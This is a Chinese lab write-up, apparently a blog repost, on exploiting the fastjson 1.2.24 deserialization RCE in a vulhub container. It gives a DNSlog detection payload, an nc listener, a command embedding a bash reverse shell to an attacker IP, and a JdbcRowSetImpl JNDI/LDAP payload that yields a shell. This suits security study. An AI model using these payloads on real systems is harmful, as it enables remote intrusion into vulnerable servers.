首页 > 其他分享 >web中间件漏洞之(3)fastjson反序列化漏洞

web中间件漏洞之(3)fastjson反序列化漏洞

时间:2023-07-08 15:14:48浏览次数:45  
标签:fastjson 10.129 中间件 192.168 漏洞 json 序列化

引言

fastjson可以将Java对象序列化为json格式,也可将json反序列化为Java对象。在请求包里面中发送恶意的 json 格式 payload,fastjson在处理 json 对象时使用了autotype机制,允许在反序列化时通过@type指定反序列化的类,调用指定类的set和get方法。攻击者可以通过rmi或ldap服务,将ldap绝对路径注入到JNDI的lookup方法中,构造数据使得进入指定类(恶意类)的set和get方法,如果这些方法中有逻辑漏洞,即可利用其getshell

漏洞探测

启动vulhub的fastjson 1.2.24-rce镜像,服务器地址为http://192.168.10.170:8090/

~/Desktop/vulhub-master/fastjson/1.2.24-rce$ sudo docker-compose up -d

使用dnslog,生成子域名lyc9a3.dnslog.cn,来探测该服务器是否存在解析漏洞

通过burpsuite向服务器发送构造的json POST请求

{
    "a":{
        "@type":"java.net.Inet6Address",
        "val":"lyc9a3.dnslog.cn"
    }
}

image
可以检测到dnslog子域名被解析,说明服务器存在json反序列化导致的解析漏洞
image

使用fastjson_tool生成恶意类来getshell

攻击机192.168.10.129,启动HLDAP服务器8888,并根据反弹shell生成payload,该payload使得反序列化时重定向到恶意类http://192.168.10.129:8888/Object.class

nc -lvvp 7777

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.10.129 8888 "bash=/bin/bash -i >& /dev/tcp/192.168.10.129/7777 0>&1"

image

burp中, 根据第二个payload,在请求后面添加json

{
    "e":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.10.129:8888/Object",
        "autoCommit":true
    }
}

发送请求,即可getshell
image

标签:fastjson,10.129,中间件,192.168,漏洞,json,序列化
From: https://www.cnblogs.com/nemuzuki/p/17537246.html

相关文章

  • Web漏洞扫描(AWVS)
    AWVS原理是基于漏洞匹配方法,通过网络爬虫测试你的网站安全,检测流行安全漏洞。AWVS可以通过SQL注入、XSS、目录遍历、代码执行等漏洞来审核web应用程序的安全性并输出扫描报告。相对于手动测试的复杂和耗时,它能快速的发现漏洞来提高效率和漏洞覆盖面。 安装与启动:这个AWVS并......
  • 序列化的高级用法之source
    一、可以取别名book_name=serializers.CharField(source='name')book_name为前端可以看到的字段值,name是对象真实的属性。注意:别名和真实属性不能相同二、可以跨表关联查询publish_name=serializers.CharField(source='publish.name')必须有关联关系,book模型和publis......
  • ctfshow刷题(Java反序列化)
    CTFshowJava反序列化web846urldns链importjava.io.ByteArrayOutputStream;importjava.io.IOException;importjava.io.ObjectOutput;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.net.URL;importjava.util.Base64;i......
  • 逻辑漏洞
    1、注册时,请求验证码时只携带手机号,清除cookie,观察响应中是否包含cookie.如果包含,猜测存在手机号-cookie的绑定那么,另外注册请求手机号和验证码,附带随机设置的cookie,进行提交。如果手机号和验证码通过,但实际写入数据表时使用的是前面发送验证码绑定cookie时的手机号,那么就可以导......
  • 远程命令执行漏洞复现
    蓝海卓越计费管理系统存在命令调试页面可以远程命令执行 使用空间测绘引擎搜索我用的是fofa语法title="蓝海卓越计费管理系统"访问管理界面.然后访问debug.php如果存在调试界面则此命令执行漏洞存在可以看出是linux系统,并且可以执行命令......
  • Nftables栈溢出漏洞(CVE-2022-1015)复现
    背景介绍NftablesNftables是一个基于内核的包过滤框架,用于Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。钩子点(HookPoint)钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作......
  • 2023/7/4常见WEB漏洞原理分析
    一、SQL注入漏洞SQL注入攻击(SQLInjection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、......
  • Oracle listener 远程投毒漏洞:
    问题说明:就是listener是否允许远程随意注册的意思解决方案:通过oracle自身的设置允许注册的机器(名字、或ip)来限制非法注册 解决:合理配置:listener.oraVALID_NODE_CHECKING_REGISTRATION_LISTENER=ONVALID_NODE_CHECKING_REGISTRATION_LISTENER_SCAN1=ONREGISTRATION_......
  • JWT令牌是中间件吗?(不是)
    JSONWebToken(JWT)是一种用于在网络应用中传递声明(Claims)的开放标准。它通过对声明进行数字签名,以确保声明的完整性和可信任性,从而实现安全而可靠的身份验证和授权机制。JWT本身不属于中间件,而是一种用于身份验证和授权的令牌机制。然而,JWT可以在中间件中使用,以实现身份验证和......
  • 什么是中间件?
    中间件(middleware)是指在软件系统中,处于两个或多个组件之间的一个层,用于处理请求和响应。它常用于处理系统级别的功能,如请求认证、日志记录、错误处理等。中间件允许开发人员将这些功能从应用程序的核心逻辑中解耦出来,使得系统更易于维护和扩展。在Web开发中,中间件可以被插入到请......